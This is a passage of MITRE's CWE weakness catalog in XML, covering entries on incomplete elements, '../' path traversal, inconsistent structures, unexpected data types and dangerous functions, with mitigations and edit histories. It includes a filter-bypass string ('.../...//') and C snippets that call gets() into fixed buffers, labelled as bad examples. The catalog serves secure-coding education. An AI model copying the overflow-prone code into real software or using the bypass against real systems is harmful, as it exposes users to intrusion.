               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Missing Element Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Missing Element</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="239" Name="Failure to Handle Incomplete Element" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle when a particular element is not completely specified.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="237" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="404" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1532</Reference>
               <Description>HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1532</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0195</Reference>
               <Description>Partial request is not timed out.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0195</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2526</Reference>
               <Description>MFV. CPU exhaustion in printer via partial printing request then early termination of connection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2526</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1906</Reference>
               <Description>CPU consumption by sending incomplete HTTP requests and leaving the connections open.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1906</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Incomplete Element</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Incomplete Element</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="24" Name="Path Traversal: '../filedir'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'../filedir</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Dot Dot Slash - '../filedir'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="240" Name="Improper Handling of Inconsistent Structural Elements" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="237" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Inconsistent Elements</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Inconsistent Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Resolve Inconsistent Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="241" Name="Improper Handling of Unexpected Data Type" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="228" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1156</Reference>
               <Description>FTP server crash via PORT command with non-numeric character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1156</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0270</Reference>
               <Description>Anti-virus product has assert error when line length is non-numeric.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0270</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Wrong Data Type</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO37-C</Entry_ID>
               <Entry_Name>Do not assume that fgets() or fgetws() returns a nonempty string when successful</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="48"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Research Gap">Probably under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Wrong Data Type</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Wrong Data Type</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="242" Name="Use of Inherently Dangerous Function" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product calls a function that can never be guaranteed to work safely.</Description>
         <Extended_Description>Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the &gt;&gt; operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the &gt;&gt; operator and overflow the destination buffer.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1177" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Requirements</Phase>
               <Description>Ban the use of dangerous functions. Use their safe equivalent.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use grep or static analysis tools to spot usage of dangerous functions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The code below calls gets() to read information into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char buf[BUFSIZE];<xhtml:br/>gets(buf);</xhtml:div>
               </Example_Code>
               <Body_Text>The gets() function in C is inherently unsafe.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-5">
               <Intro_Text>The code below calls the gets() function to read in data from the command line.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:div style="margin-left:1em;">char buf[24];<xhtml:br/>printf("Please enter your name and press &lt;Enter&gt;\n");<xhtml:br/>gets(buf);<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Dangerous Functions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS33-C</Entry_ID>
               <Entry_Name>Do not use vfork()</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
